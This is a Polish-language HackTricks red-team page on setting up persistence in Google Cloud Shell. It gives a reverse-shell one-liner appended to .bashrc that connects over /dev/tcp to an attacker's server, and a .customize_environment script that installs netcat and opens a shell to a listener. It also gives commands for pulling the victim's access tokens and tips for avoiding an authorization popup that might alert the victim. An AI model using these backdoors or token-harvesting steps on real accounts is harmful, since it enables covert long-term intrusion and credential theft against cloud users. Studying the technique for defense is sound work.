GCP - Cloud Shell Persistence

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Cloud Shell

Aby uzyskać więcej informacji, sprawdź:

pageGCP - Cloud Shell Enum

Trwała Tylna Furtka

Google Cloud Shell zapewnia dostęp do wiersza poleceń do zasobów chmurowych bezpośrednio z przeglądarki bez dodatkowych kosztów.

Możesz uzyskać dostęp do Cloud Shell Google'a z konsoli internetowej lub uruchamiając gcloud cloud-shell ssh.

Ta konsola ma kilka interesujących możliwości dla atakujących:

  1. Każdy użytkownik Google z dostępem do Google Cloud ma dostęp do w pełni uwierzytelnionej instancji Cloud Shell (Konta usług mogą, nawet będąc właścicielami organizacji).

  2. Wspomniana instancja zachowa swoją katalog domowy przez co najmniej 120 dni, jeśli nie wystąpi żadna aktywność.

  3. Nie ma możliwości dla organizacji monitorowania aktywności tej instancji.

Oznacza to w zasadzie, że atakujący może umieścić tylną furtkę w katalogu domowym użytkownika i dopóki użytkownik łączy się z GC Shell co najmniej raz na 120 dni, tylna furtka przetrwa, a atakujący uzyska dostęp do powłoki za każdym razem, gdy zostanie uruchomiona, po prostu wykonując:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

W folderze domowym znajduje się inny plik o nazwie .customize_environment, który, jeśli istnieje, będzie wykonywany za każdym razem, gdy użytkownik uzyskuje dostęp do cloud shell (tak jak w poprzedniej technice). Wystarczy wstawić poprzednie tylne drzwi lub podobne, aby utrzymać trwałość tak długo, jak użytkownik używa "często" cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Ważne jest zauważenie, że za pierwszym razem, gdy wykonywane jest działanie wymagające uwierzytelnienia, w przeglądarce użytkownika pojawia się okno autoryzacji. To okno musi zostać zaakceptowane, zanim polecenie zostanie wykonane. Jeśli pojawi się nieoczekiwane okno, może to wzbudzić podejrzenia i potencjalnie narazić używaną metodę trwałości na ryzyko.

To jest okno pop-up po wykonaniu gcloud projects list z powłoki chmury (jako atakujący) widziane w sesji użytkownika przeglądarki:

Jednakże, jeśli użytkownik aktywnie korzystał z powłoki chmury, okno pop-up nie pojawi się i można zbierać tokeny użytkownika za pomocą:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Jak jest nawiązywane połączenie SSH

W zasadzie używane są te 3 wywołania API:

Ale możesz znaleźć więcej informacji na https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated